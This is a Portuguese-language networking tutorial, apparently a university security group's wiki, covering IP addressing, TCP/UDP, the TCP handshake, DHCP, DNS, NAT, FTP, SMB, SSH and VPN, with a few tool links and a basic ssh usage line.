Endereçamento 'virtual' de cada nó (aparelho, como um computador ou um celular) na rede. Esse endereçamento não é fixo como o MAC address, que é intrínseco ao Hardware, mas sim alocado de acordo com algum protocolo especificado. Adicionalmente pode ser alocado estaticamente (fixo) ou dinamicamente (um servidor designa os endereços conforme necessário).

Vale salientar também que o endereço dessa camada possui duas partes com funções diferentes. A primeira parte é a identificação da rede a qual o nó pertence, dessa forma podemos identificar quais computadores estão interligados pela mesma rede. A segunda parte é a identificação do computador propriamente dito. Podemos fazer um paralelo com o cotidiano, imagine um conjunto de casas em uma rua, elas possuem duas partes no endereço, o nome da rua (parte de rede) e o número da casa (parte do *host*).

### IPv4

Concebido em 1983, o IPv4 (Internet Protocol version 4) foi o primeiro protocolo amplamente adotado para endereçamento lógico. Ele descreve cada endereço usando 32 bits dividos em 4 seções de 1 byte, ou seja **4 octetos**.

Dessa forma, permite 2³² = 4.294.967.296 (4 bilhões) endereços únicos, o que rapidamente se tornou insuficiente para acomodar a grande quantidade de aparelhos com acesso a internet.

![Exemplo de endereço IPv4](https://1857820393-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M2BqbbxnmfvPTRrxNQc%2Fsync%2F4021239cbcbd97d16857f772865e9b872a374278.png?generation=1618639761877467\&alt=media)

### IPv6

Criado em 1995, o protocolo IPv6 (Internet Protocol version 6) veio para expandir a quantidade de endereços cobertos pelo IPv4. Ele descreve os endereços usando 128 bits ou **8 grupos de 4 digitos hexadecimais**.

Isso nos dá 2¹²⁸ ou, aproximadamente 3,4 ⋅ 10³⁸ endereços. Comparativamente, temos 79 milhões de bilhões de trilhões de vezes a quantidade de endereços possiveis com o IPv4.

![Exemplo de endereço IPv6](https://1857820393-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M2BqbbxnmfvPTRrxNQc%2Fsync%2F85cdbba4663c6988bb3c30fbae4d151f31cba734.png?generation=1618639762926200\&alt=media)

Além de expandir imensamente a quantidade de endereços possíveis, o IPv6 possui duas características muito úteis:

* Retrocompatibilidade com IPv4
  * **IPv4:** 192.0.2.33
  * **IPv6:** ::ffff:192.0.2.33  (basta usar o prefixo **::ffff:**)
* Compressão de endereços por omissão de zeros à esquerda
  * **IPv6:** 2001:0db8:c9d2:0012:0000:0000:0000:0051
  * **IPv6 comprimido:** 2001:db8:c9d2:12::51

### Máscaras de rede

As máscaras de rede ou Network masks são, também, uma sequencia formada por 4 octetos e servem para dividir um IP em duas porções:

* Rede
* Host

Para descobrimos a porção da rede a partir de um IP, realiza-se um bitwise & (AND) entre o IP e a máscara. Vamos exemplificar o procedimento abaixo usando uma máscara de 24 bits (3 octetos), mas lembre-se que ela pode ter outros tamanhos a depender da configuração da rede.

```
    11000000 00000000 00000010 00001100   (192.0.2.12)      IP
    11111111 11111111 11111111 00000000 & (255.255.255.0)   Netmask
    -----------------------------------
    11000000 00000000 00000010 00000000   (192.0.2.0)      Endereço do IP
```

Efetivamente, selecionamos apenas os 3 primeiros octetos para endereçar nossa rede e separamos o octeto restante para identificar os 256 (ou 2⁸) possíveis hosts nessa rede. Dessa forma teremos, nessa rede, os hosts:

* 192.0.2.1
* 192.0.2.2
* 192.0.2.3
* ...
* 192.0.2.254

Você deve ter percebido que falamos 256 hosts possíveis, mas somente listamos 254. Isto acontece porque o primeiro endereço é reservado como endereço de rede (neste caso, 192.0.2.0) e o último, como endereço de *broadcast* ou difusão (neste caso, 192.0.2.255).

Porém, como a tradução de uma máscara para sua forma binária não é algo tão natural, existe uma notação muito mais amigável:

* 192.0.2.12/24
* 2001:db8::/32

Nessa notação, teremos um IP seguido de quantos bits estão reservados para o endereço de rede (no caso acima 24 bits e 32 bits, respectivamente).

## Roteamento

O roteamento consiste em transportar pacotes de dados entre redes distintas, tentando ao mesmo tempo descobrir a melhor rota e entregar integralmente os dados. Para isso, vão ser utilizados endereços que identificam quais nós da rede receberão a chamada. Cada propagação de pacote, de um roteador para outro, é chamado de *hop*.

Nesse momento, trabalha-se quase exclusivamente com a parte de rede do endereço. O roteador é um equipamento especializado para fazer esse encaminhamento de pacotes e, por isso, deve estar conectado em mais de uma rede. Quando ele recebe um pacote, verifica qual o endereço de destino do pacote e procura na sua tabela de roteamento se ele está conectado nessa rede. Se ele estiver, já pode enviar o pacote para o *host* certo (o destinatário do pacote). Caso não esteja, ele envia o pacote para alguém que tenha mais conhecimento, esta pessoa é o chamado **default gateway**.

## Interface de Rede

Geralmente associada à hardware, como à Placa de rede, a interface é essencial para estabelecer conexões - sem ela isso não é possivel. Cada interface identifica um aparelho para as tabelas de rota e armazena suas configurações como o IP.

Um computador pode ter mais de uma interface, o que possibilita distribuir o tráfego entre as interfaces ou simplesmente oferecer serviços diferentes.

Um exemplo extremamente importante de interface virtual é a interface *loopback* ou *lo* , que endereça a própria máquina - permitindo a comunicação entre aplicações ou processos de um computador com outras aplicações ou processos nesse mesmo computador.

Para vermos quais interfaces estão atualmente presentes, usamos o comando:

```
    ip address
```

![listando as interfaces](https://1857820393-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M2BqbbxnmfvPTRrxNQc%2Fsync%2F6e25648eea4dc206793fd23855f38626fc8b1540.png?generation=1618639763818521\&alt=media)

Assim, conseguimos visualizar que a interface loopback ou *lo* tem o endereço *127.0.0.1/8* para o IPv4 e *::1/128* para o IPv6.


# Camada de Transporte

## MODELO-OSI / MODELO-TCP/IP

Para facilitar o entendimento dessa parte, é válido revisitarmos um conceito muito importante visto anteriormente, o MODELO-OSI:

![](https://1857820393-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M2BqbbxnmfvPTRrxNQc%2Fsync%2F71c9f06cc6aa659c1de7814d4cb7fb05ae8563bf.png?generation=1622757890272359\&alt=media)

Nessa etapa, estamos estudando a camada 4 ("Transporte"). Esta é responsável pela transferência de dados entre máquinas, reunindo diversos protocolos, entre eles, os protocolos TCP e UDP, que serão vistos em seguida.

É válido ressaltar que existe uma simplificação desse famoso Modelo-OSI, conhecido como Modelo-TCP/IP. Basicamente o primeiro demonstra como realmente a comunicação entre computadores acontece, descrevendo minuciosamente todos os passos. Já o segundo, demonstra como funciona essa comunicação na prática. As diferenças entre eles podem ser observadas na seguinte imagem:

![](https://1857820393-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M2BqbbxnmfvPTRrxNQc%2Fsync%2F14b3650018029b10372fd3ea34b4929cbc4a4e78.png?generation=1622757890342867\&alt=media)

Não podemos nos confundir ao falar que o Modelo-TCP/IP possuem apenas 2 protocolos("TCP" e "IP"). Isso porquê na realidade, o Modelo é apenas uma simplificação de todos os processos que acontecem na comunicação, porém inúmeros protocolos podem participar de tal comunicação.

## PROTOCOLOS

### TCP

O protocolo **TCP** ("Transmission Control Protocol") é o protocolo mais importante da camada de transporte, pois é responsável por estabelecer uma conexão entre dois processos em dois hosts, verificando se os dados que foram enviados foram recebidos corretamente e sem erros. Tal característica, determina que o Protocolo TCP garante a **integridade** dos dados a partir de uma validação, conhecida como **"Checksum"**. Essa validação é basicamente uma conta matemática (resultando em uma HASH) que garante que tudo que foi recebido em um host foi exatamente o que foi enviado por outro host.

Outra característica muito importante de tal protocolo, é o requerimento de uma conexão **("Connection Based")**. Isto é, uma determinada aplicação envia um pedido de conexão para o destino e usa a "conexão" para transferir dados.

Agora, descreveremos como acontece o estabelecimento de uma comunicação virtual conhecido como **"Three-Way Handshake"**, do inglês, aperto de mão em três vias:

Estabelecimento de conexões:

1. O cliente envia um pacote com a flag "SYN" ativa.
2. O servidor responde com um pacote com as flags "SYN" + "ACK".
3. O cliente responde com um pacote ACK.

$$
\textrm{CLIENTE: Servidor, quero me conectar com você! ("SYN")} \\~~\  \textrm{SERVIDOR: Com certeza, cliente. Só confirma pra mim com outra mensagem ("SYN" + "ACK")} \\~~\ \textrm{CLIENTE: Suave, estou enviando a mensagem de confirmação ("ACK")} \\\~\ \textrm{CONEXÃO ESTABELECIDA!}
$$

![](https://1857820393-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M2BqbbxnmfvPTRrxNQc%2Fsync%2Ffbf7527423b18b8df6bb9750cc81bcd2d0480cc3.png?generation=1622757890070931\&alt=media)

### UDP

O protocolo UDP ("User Datagram Protocol") também é um protocolo que pertence à Camada de Transporte e tem como a principal diferença do TCP a falta de confiabilidade dos dados recebidos por um determinado host.

A princípio, isso pode parecer meio confuso, "Como assim, eu estou usando um protocolo que não me garante que o que estou recebendo foi realmente o que foi enviado??" Primeiramente, devemos entender que isso ocorre justamente porque o UDP é mais leve que o próprio TCP, e para algumas aplicações isso pode ser bastante recomendado.

Imagine que você queira assistir um filme, e a primeira coisa que te vem a mente é colocar um netflix, ou qualquer outro serviço parecido. Já parou para pensar o quão grandes os arquivos de filmes podem ser? Imagina só se a cada pacote do seu filme, tivéssemos que verificar se os dados recebidos são completamente íntegros com os pacotes enviados. Seria muito massante não é mesmo? Seu filme teria grandes chances de ficar travando o tempo inteiro.

Então, ta aí a solução para o seu problema, o Protocolo UDP. O fato desse protocolo ser mais leve, garante que serviços de streaming funcionem da maneira esperada. Algumas características sobre esse protocolo:

1. **Não** é Connection Based, ou seja, não existe uma conexão
2. **Não** garante a integridade dos pacotes
3. **Não** garante nem que os pacotes cheguem até o destino

![](https://1857820393-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M2BqbbxnmfvPTRrxNQc%2Fsync%2F0c5aa441c948b806467b4b514a1913f2f50415b8.png?generation=1622757890882372\&alt=media)

## PORTAS

Para facilitar o entendimento, é possível relacionar com um delivery qualquer. Digamos que o usuário residente em um **condomínio** peça uma pizza por um aplicativo de delivery. O restaurante precisa saber o endereço do usuário, no entanto só isso não basta. Como o cliente mora em um condomínio, o restaurante precisa saber o número do apartamento do cliente. Em analogia com a comunicação entre dispositivos, chamamos esse número de **porta.**

As portas são números de 16 bits que representam canais virtuais aleatórios definidos pelo sistema operacional. Esses canais fazem com que seja possível mapear cada processo em andamento no computador. Isso garante que o dispositivo que iniciou a comunicação encontre o processo desejado no IP. Por exemplo, o usuário faz uma requisição de uma página web (por padrão, é a porta 80) e, por causa da porta HTTP, o usuário recebe realmente uma página web, mesmo que existam outras aplicações rodando em sua máquina (DNS, SSH ou FTP).

As portas são números de 16 bits que representam canais virtuais aleatórios definidos pelo sistema operacional. Esses canais fazem com que seja possível mapear cada processo em andamento no computador. Isso garante que o dispositivo que iniciou a comunicação encontre o processo desejado no IP do usuário. Por exemplo, o usuário faz uma requisição de uma página web HTTPS (por padrão, é a porta 443) e, por causa da porta do protocolo HTTPS, o usuário recebe realmente uma página web, mesmo que existam outras aplicações rodando em sua máquina (DNS, SSH ou FTP).

![](https://1857820393-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M2BqbbxnmfvPTRrxNQc%2Fsync%2F036b59abf883484ca8ed508f844cae1880d722e3.png?generation=1622757891011080\&alt=media)

## SOCKET

O **socket** é o ponto final de uma comunicação. Do inglês "tomada", o socket faz a parte chave e fechadura da comunicação similar ao diagrama a baixo.

![](https://1857820393-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M2BqbbxnmfvPTRrxNQc%2Fsync%2Fdb53bf29dcf2ee85b219cbe476070860ab57383a.png?generation=1622757889781072\&alt=media)

O socket é identificado por uma composição do endereço IP e de uma porta. Portanto, **uma conexão TCP é identificada por um par de sockets (host1, port1) e (host2, port2).** Com isso, conclui-se que é possível trocar dados entre dois processos (portas).

Em suma, **um socket conecta um processo a uma porta do computador.** A conexão cliente-servidor ocorre entre processos através de uma porta, que não necessariamente devem ser iguais.


# IANA

IANA (Internet Assigned Numbers Authority), é uma organização que define muitos padrões na internet, como alocação de IPs, portas padrão, domínios, entre outros.


# Three-way Handshake

![](https://i.imgur.com/xO66AX7.jpg)

O Three-way Handshake (que pode ser traduzido como "aperto de mão de três vias") é um mecanismo especificado na documentação do protocolo TCP para o estabelecimento de conexões TCP.

> Notas: ACK = Acknowledgement flag (Flag de reconhecimento) SYN = Synchronize flag (Flag de sincronização)

**Flags** são nada mais do que bits em um pacote TCP. Por exemplo, é convencionado que 2 bits são, respectivamente, as flags ACK e SYN. Se você recebe um pacote e esses bits são 10 então esse pacote tem a flag ACK ativa, se eles são 11 então o pacote é SYN/ACK, e assim por diante (o TCP tem mais flags além dessas duas, como FIN e RST).

Uma conexão TCP é [geralmente](https://tools.ietf.org/html/rfc793#section-3.4) estabelecida em 3 etapas:

1. O cliente envia um pacote com a flag SYN ativa.
2. O servidor responde com um pacote com as flags SYN + ACK.
3. O cliente reponde com um pacote com a flag ACK.

Em outras palavras, a conexão entre cliente e servidor a partir do Three-way Handshake pode ser explicada da seguinte maneira:

**1. Cliente:** Servidor, estou enviando a mensagem com número de sequência 100 (SEQ=100). Dá pra sincronizar (SYN)?

Cliente **--------SYN---->** Servidor

**2. Servidor:** Claro (ACK), sincroniza a mensagem 200 (SEQ=200) que estou enviando (SYN). Prossiga com a mensagem 101 (ACK=101).

Cliente **<------------SYN----** Servidor

**3. Cliente:** Ok, recebi a mensagem 200 (ACK=201), estou enviando a mensagem 101 (SEQ=101).

Cliente **------------>** Servidor

O cliente e o servidor, possuem números de sequência distintos, por este motivo é necessária a sincronização (SYN) em ambos os sentidos.

Feita a sincronização, começam a troca de pacotes com base em números de sequência, que tem o objetivo de enumerar os pacotes de cada um.

### Demonstração com o Wireshark:

#### Primeira via

![](https://i.imgur.com/wr0iFMS.png)

O cliente (192.168.43.64) envia uma solicitação de sincronização (SYN) para o servidor (186.192.81.25). Esta solitação parte da porta 33080 com destino a porta 443, com número de sequência 0 (Seq=0).

Repare que a porta do cliente (33080) e do servidor (443) não precisam ser iguais. Repare ainda que a porta 443 é a [well-known port](http://web.mit.edu/rhel-doc/4/RH-DOCS/rhel-sg-pt_br-4/ch-ports.html) para o protocolo HTTPS.

#### Segunda via

![](https://i.imgur.com/Sdj1YGe.png)

O servidor envia ao cliente uma solicitação de sincronização (SYN) com número de sequência 0 (Seq=0), juntamente com a confirmação (ACK=1) da solicitação de sincronização enviada anteriormente pelo cliente.

#### Terceira via

![](https://i.imgur.com/P9Z4x2Q.png)

O cliente (192.168.43.64) então confirma a solicitação de sincronização (SYN) para o servidor (186.192.81.25). Esta confirmação parte da porta 33080 com destino a porta 443, com número de sequência 1 (Seq=1).

## Referências

* [Descrição do three-way handshake (RFC)](https://tools.ietf.org/html/rfc793#section-3.4)
* [Primeira versão do protocolo TCP](https://tools.ietf.org/html/rfc793)
* [Resumo da IETF do TCP (original e mudanças feitas até agora)](https://tools.ietf.org/html/rfc7414)


# DHCP

O DHCP(Dynamic Host Configuration Protocol) é um protocolo de gerenciamento utilizado para facilitar a configuração de um dispositivo numa rede. Ao invés de serem necessárias configurações manuais (e que exigem conhecimento da estrutura da rede), a configuração é feita entre o cliente e o **Servidor DHCP**.

## O servidor DHCP

O servidor DHCP é uma máquina que internamente tem os parâmetros da rede, como servidores DNS e uma relação de endereços IP disponíveis. Em redes domésticas, tipicamente o roteador assume todas as funções possíveis, para reduzir espaço e complicações. Portanto, o que chamamos de roteador é, ao mesmo tempo: modem(no caso de o dispositivo que se conecta à fibra óptica ou cabo coaxial e ele prover a conexão WAN), roteador, servidor DHCP, entre outros. No entanto, não há problema nenhum em utilizar um outro servidor DHCP na rede, o que geralmente é necessário quando se tem uma rede mais complexa ou customizada, como é o caso do [Pi-hole](https://pi-hole.net/), que permite ser tanto um servidor DHCP quanto um servidor DNS.

## Parâmetros configurados

* Endereço IP do cliente
* Gateway da rede: roteador por onde sai a informação.
* Servidores DN:
* Máscara da sub-rede: o "tamanho" da rede
* Tempo de concessão do endereço (Lease time): O tempo que o servidor DHCP "empresta" o endereço.

## Processo de configuração.

O processo é realizado através de pacotes UDP. As portas padrão para isso são 67 no servidor e 68 no cliente.

![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e4/DHCP_session.svg/260px-DHCP_session.svg.png)

1. Discovery: O cliente envia um pacote de descoberta para toda a rede.
2. Offer: Um (ou mais) servidores DHCP oferecem a configuração, consistindo tipicamente de endereço IP, servidores DNS, lease time e gateway padrão.
3. Request: O cliente pede a oferta ao servidor DHCP.
4. Acknowledgement: O servidor reconhece a oferta, e envia a mensagem encerrando o processo.


# DNS

DNS (Domain Name System) é a razão pela qual não precisamos inserir o endereço IP quando vamos fazer uma simples busca na internet. É um protocolo no qual pede-se um endereço IP baseado em um nome, ou domínio.

## Domínios e Subdomínios

Os domínios são os nomes que podem ser registrados, no contexto de DNS e Internet. Consistem de duas partes, sendo o domínio de fato e a raiz de domínio. Por exemplo: usp.br é um domínio que pertence à raiz .br Os subdomínios pertencem aos domínios, mas ao registrar um domínio, é possível criar um número infinito(virtualmente) de subdomínios. Domínios e subdomínios podem corresponder a endereços distintos. Por exemplo, o domínio [icmc.usp.br](https://icmc.usp.br), no qual o site do ICMC é hospedado, corresponde a um servidor, mas o domínio [ganesh.icmc.usp.br](https://ganesh.icmc.usp.br/) provavelmente não é servido no mesmo servidor.

## Servidores DNS

Os servidores DNS são máquinas acessíveis na rede que possuem tabelas de correspondência entre domínios (e subdomínios) e endereços de rede. Mas agora, já se perguntou a quantidade de domínios que existem? Não seria muito viável ter todas essas relações em um único local. Imagina só como seria para uma máquina lidar com as requisições do mundo todo. Para isso, o sistema de domínios é arquitetado de uma forma distribuída. Os servidores DNS têm uma lista de quais são outros servidores que podem ter o domínio procurado. Ao fazer uma requisição DNS para o servidor, se ele não possui a entrada (par domínio:ip) ele delega para outro servidor que está em sua lista.

## Referências

* [Cloudflare](https://www.cloudflare.com/learning/dns/what-is-dns/)


# NAT

Nat não é um apelido para Natália. NAT(Network Address Translation) é o motivo pelo qual podemos ter "apenas" 4.2 bilhões de endereços IPv4, mas o número de dispositivos conectados ser muito maior. Esta é parte da resposta de "Por que o meu endereço IP é sempre 192.168.X.X na rede da minha casa e da casa de outras pessoas?".

## Estrutura de uma rede com NAT

O tipo mais básico de NAT provavelmente utilizamos todos os dias. Trata-se das redes locais domésticas. Primeiramente, vale entender que a faixa de endereços 192.168.0.0/24 é reservada justamente para uso em redes locais. Então os servidores [DHCP](/redes/dhcp) configuram

## Como é feita a tradução de endereços

O gateway que realiza a NAT possui uma tabela interna, que armazena a relação entre saída e os cientes.

## Exemplo de comunicação através de NAT

### Rede hipotética

![Rede](https://1857820393-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M2BqbbxnmfvPTRrxNQc%2Fsync%2F0317df0bb95f44edd33ee36d55722f9a4cac902a.png?generation=1618519772447941\&alt=media)


# Pentest


# FTP

**FTP** (File Transfer Protocol) é um protocolo de transferência de arquivos entre um cliente e um servidor que situa-se na camada de aplicação do modelo OSI.

O FTP foi desenvolvido em 1971 e foi criado para fornecer um método de transferência de arquivos seguro na ARPANET. Ao longo dos anos, o FTP foi sendo aprimorado, mas o ponto é que, por si só, é um protocolo antigo e cada vez está sendo menos adotado. Em janeiro de 2021, o Google Chrome parou de suportar o protocolo FTP ([veja mais](https://tecnoblog.net/303161/google-chrome-fim-suporte-ftp/)).

O FTP funciona juntamente com o protocolo TCP para garantir a entrega do arquivo com consistência.

## Funcionamento

O servidor FTP usa duas portas, em específico, para estabelecer uma conexão com o cliente:

* **20**: porta *\*\**&#x75;tilizada para criar o canal de dados. Basicamente, é o canal onde os arquivos são enviados.
* **21**: porta utilizada para criar o canal de controle/comandos. Nela, informações como usuário, senha, inserção e deleção de arquivos e navegação do usuário são transmitidas.

O funcionamento do FTP se dá de dois modos referentes ao servidor: **ativo** e **passivo**.

### Ativo

![img/ftp1.png](https://1857820393-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M2BqbbxnmfvPTRrxNQc%2Fsync%2F2cc1d52db498063d39908b985820d10ebb4dc449.png?generation=1618639756959789\&alt=media)

A comunicação no **modo ativo** se dá nos seguintes passos:

1. O cliente a partir de uma porta x comunica-se com a porta 21 do servidor pelo canal de controle;
2. Cliente requisita um arquivo e informa a porta na qual deseja receber ele, no nosso caso, chamaremos de porta y;
3. O servidor a partir da porta 20 envia, de forma ativa, o arquivo para a porta y.

### Passivo

![img/ftp2.png](https://1857820393-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M2BqbbxnmfvPTRrxNQc%2Fsync%2F4bf65b6dac7f5df32aaa55dfb3394658c9e6a928.png?generation=1618639757889576\&alt=media)

A comunicação no **modo passivo** se dá nos seguintes passos:

1. O cliente a partir de uma porta x comunica-se com a porta 21 do servidor pelo canal de controle, especificando que a comunicação se dará de modo passivo;
2. Servidor retorna uma mensagem para a porta x do cliente informando que a porta passiva do servidor será a porta y;
3. Caso o cliente deseje pegar um arquivo, ele vai até a porta y do servidor e pega o arquivo.&#x20;

## Adaptações

Como foi dito anteriormente, o FTP é um protocolo obsoleto, mas com algumas adaptações ele pode se tornar um protocolo ainda muito útil para os dias atuais e com uma boa segurança. Vamos ver duas dessas adaptações:

### FTPS

FTPS (File Transfer Protocol Secure) é basicamente um FTP só que com uma camada extra de segurança baseada em SSL/TLS (Secure Socket Layer / Transport Layer Security), que é nada mais que protocolos de segurança. O FTPS pode ser feito de dois modos: explicit e implicit.

* Explicit FTPS (ou FTPES): uma vez que a conexão é requisitada pelo cliente, antes do login, uma conexão SSL é feita na porta 21 e por ela é feita uma verificação para ver se o cliente tem as credenciais de segurança configuradas corretamente. Caso não tenha, é possível simplesmente impedir o prosseguimento da aplicação ou fazer ela de maneira insegura, com apenas as credencias de acesso protegidas.
* Implicit FTPS: uma verificação de segurança é feita separadamente na porta 990 e caso falhe, a conexão FTP simplesmente não ocorrerá.

### SFTP

SFTP (SSH File Transfer Protocol) é o FTP aplicado para o SSH (Secure Shell). Tanto o SFTP quanto o FTPS fornecem uma proteção a mais para o FTP. Apesar disso, o SSL/TLS utiliza-se (não precisa entender isso) de uma autoridade de certificação que garante uma comunicação ainda mais segura. No entanto, uma vantagem do SFTP é que é packet-based, ou seja, baseia-se em pacotes, deixando a comunicação mais rápida, em oposição ao FTP e ao FTPS, que é text-based. Similar ao VPN, aqui ocorre um tunelamento, em que o cliente se conecta com um servidor SSH para que daí ocorra a comunicação com o FTP, já que os dados ficarão seguros na comunicação SSH-FTP e FTP-SSH.

### TFTP

TFTP (Trivial File Transfer Protocol) é o FTP simplificado para dois hosts em uma mesma rede.

## Bibliografia

1. <https://meunegocio.uol.com.br/blog/ftp-ftps-e-sftp-o-que-sao-e-para-o-que-servem/#rmcl>
2. <https://memoria.rnp.br/newsgen/0011/ftp-passivo.html>
3. <https://exavault.medium.com/the-difference-between-ftp-ftps-and-sftp-5f80a33a7838>
4. [https://www.ftptoday.com/blog/explicit-ftps-vs-implicit-ftps-what-you-need-to-know#:\~:text=When using implicit FTPS%2C an,or file transfer can begin.\&text=In these cases%2C port blocking,prevents explicit FTPS transfers%2C too](https://www.ftptoday.com/blog/explicit-ftps-vs-implicit-ftps-what-you-need-to-know#:~:text=When%20using%20implicit%20FTPS%2C%20an,or%20file%20transfer%20can%20begin.\&text=In%20these%20cases%2C%20port%20blocking,prevents%20explicit%20FTPS%20transfers%2C%20too).


# SMB

O SMB (*Server Message Block*) é um protolo de redes da camada de aplicação cujo o uso mais comum é o acesso compartilhado a arquivos, impressoras e portas seriais. O protocolo SMB é amplamente utilizado pelos sistemas operacionais Microsoft Windows. O seu uso em sistemas operacionais do tipo Unix (como por exemplo, Linux e MacOS) se dá a partir do software Samba. A porta padrão para a utilização do SMB é a 445.

## Diferença entre SMB e FTP

* No FTP, é necessário que o cliente tenha o arquivo localmente para então poder copiar para o servidor. Já no SMB, não há essa necessidade, já que o arquivo no servidor existe independente de arquivos locais. A escrita e leitura dele se dá diretamente pelo servidor.
* Qualquer mudança em um arquivo no SMB, é imediatamente visível para os outros usuários do mesmo arquivo.
* FTP é mais rápido do que o SMB, porém possui menos funcionalidades.
* O SMB é firewall-unfriendly.

## Ferramentas de Pentesting

### smbmap

O smbmap permite enumerar os sambas shares em um domínio, entre outras coisas: <https://github.com/ShawnDEvans/smbmap>

### smbclient

O smbclient inicia um cliente para poder acessar os recursos SMB de um servidor. <https://tldp.org/HOWTO/SMB-HOWTO-8.html>


# SSH

O SSH (Secure Shell) foi criado por Tatu Ylonen no intuito de permitir o login remoto em uma rede insegura de forma segura. Quando foi criado, a rede era insegura devido a instalação de um sniffer que já havia capturado milhares de nomes de usuário e senhas no servidor.

Hoje em dia, o SSH é usado amplamente para que usuários possam acessar, administrar e modificar remotamente servidores de forma segura. Na frente de Redes e Pentest, usamos com muita frequência o SSH para obter acesso a servidores.

O acesso ao SSH normalmente se dá na porta 22.

## Shell

O acesso ao servidores por meio do SSH se dá por meio de uma shell, que é basicamente uma entrada para o usuário acessar os serviços do sistema operacional. Na maioria dos casos, teremos um terminal rodando uma shell, ou seja, o terminal será a interface no qual colocaremos nossa entrada que será processada pela shell para acessar os serviços do SO.

## Acesso

Para acessar um computador usando SSH, use o seguinte comando:

```bash
ssh {user}@{host} -p {port}
```

* **user**: é a conta com a qual você vai ter acesso ao computador remoto
* **host**: é o computador que você vai se conectar. Pode ser o nome do domínio ou o endereço IP, por exemplo.
* **-p {port}**: parâmetro opcional. Usado para especificar a partir de qual porta do próprio computador, será feita a conexão.

Exemplo:

![img/ssh1.png](https://1857820393-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M2BqbbxnmfvPTRrxNQc%2Fsync%2Fdd14766742c3c303f13624bc327aaa5f7a0ced51.png?generation=1618639758905930\&alt=media)


# VPN

> **Virtual Private Network ou Rede Virtual Privada**

## Sem VPN

* Quando fazemos uma requisição na internet convencional, estamos nos comunicando com nosso provedor de serviço de internet (Internet Service Provider - ISP)
* O ISP lida com nossas requisições, buscando comunicação da nossa máquina com toda a internet, e é responsável por atribuir a nossa máquina (computador, tablet, smartphone) um endereço IP único, que é utilizado para ser identificado pelo site e pela rede pública
* A requisição sai da nossa máquina e acessa o servidor pelo qual estamos buscando. Desta forma, existe uma exposição dos nossos dados, além de que nossas atividades são relacionados a nosso IP único.

## Com VPN

* Ao conectar com a internet utilizando uma VPN, é realizada uma conexão segura com um servidor VPN, a partir de um tunelamento criptografado em que apenas o cliente e o servidor final desta VPN possuem chaves para decriptação dos dados.
* O tráfego de dados e o registro de atividades continuam passando pelo provedor de internet (ISP), mas o mesmo não consegue lê-los ou ver o destino das requisições, uma vez que existe uma criptografia sobre eles.
* Os sites visitados não são capazes de identificar o endereço IP original, fornecido pelo seu provedor, uma vez que nosso endereço IP é encoberto pelo **IP do servidor da VPN**, que é compartilhado por todos os outros usuários do serviço.

![](https://1857820393-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M2BqbbxnmfvPTRrxNQc%2Fsync%2Faa124c31de174a15165b9e9a1e7c706ed8dee11f.png?generation=1618639760080962\&alt=media)

Tópicos importantes para o entendimento de uma VPN

## Proxying

Proxy consiste em um servidor que age como intermediário entre as requisições de um cliente e a outros servidores. O cliente realiza uma solicitação ao proxy de algum conteúdo ou recurso na internet, e por sua vez o proxy avalia a requisição, procurando fazer um controle, simplificação da solicitação e encaminhamento das requisições para a internet.

O servidor VPN age como um **proxy** para a atividade do cliente na internet, uma vez que as requisições realizas não saem diretamente do IP da máquina do cliente, mas sim são recolhidas e encaminhadas a partir do servidor VPN, garantindo anonimidade na internet, escondendo a localização do cliente original e seu endereço IP

## Autentificação

Existe uma relação de autenticação que garante ao cliente que sua comunicação é restrita ao servidor VPN e o mesmo ocorre no caminho contrário: troca de chaves e criptografia são utilizados para garantir que o tunelamento é seguro e está sendo realizado de fato entre as duas pontas corretas do VPN

## Tunelamento

O tunelamento pode ser enxergado como uma via pelo qual trafega os dados do cliente para o servidor VPN e vice versa, sendo que os pacotes são criptografados e encapsulados, sendo que apenas as duas pontas do túnel possuem as chaves correspondentes para a decriptação e leitura dos dados. Desta maneira, a leitura de terceiros e ataques são impossibilitados.

![](https://1857820393-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M2BqbbxnmfvPTRrxNQc%2Fsync%2Fd0260ed058d4becae03c9655eb75db76ff6bdd00.gif?generation=1618639764606692\&alt=media)

## Referências:

[What is a VPN and How Does it Work? \[Video Explainer\]](https://www.youtube.com/watch?v=_wQTRMBAvzg)

[O que é VPN - Saiba como funciona uma VPN | ExpressVPN](https://www.expressvpn.com/pt/what-is-vpn)

[O que é uma VPN e como funciona?](https://www.kaspersky.com.br/resource-center/definitions/what-is-a-vpn)


# Avançado

## Aulas Ganesh Redes 2019

### Sumário

* [Aula 1: Introdução – Protocolos, TCP/IP, NAT, Endereçamento](https://hackmd.io/ssK5SvdFTTWNXeYR8kyHTw?both#Aula-1-Introdu%C3%A7%C3%A3o-%E2%80%93-Protocolos-TCPIP-NAT-Endere%C3%A7amento)
* [Aula 2: Bettercap, MITM e Spoofing](https://hackmd.io/ssK5SvdFTTWNXeYR8kyHTw?both#Aula-2-Bettercap-MITM-e-Spoofing)
* [Aula 3: DoS, DDoS, ADoS e Slow Lorris](https://hackmd.io/ssK5SvdFTTWNXeYR8kyHTw?both#Aula-3-DoS-DDoS-ADoS-e-Slow-Lorris)
* [Aula 4: SSL/TLS, HTTP/HTTPS e HSTS](https://hackmd.io/ssK5SvdFTTWNXeYR8kyHTw?both#Aula-4-SSLTLS-HTTPHTTPS-e-HSTS)
* [Aula 5: Coisas importantes que você precisa saber sobre a Internet](https://hackmd.io/ssK5SvdFTTWNXeYR8kyHTw?both#Aula-5-Coisas-importantes-que-voc%C3%AA-precisa-saber-sobre-a-Internet)
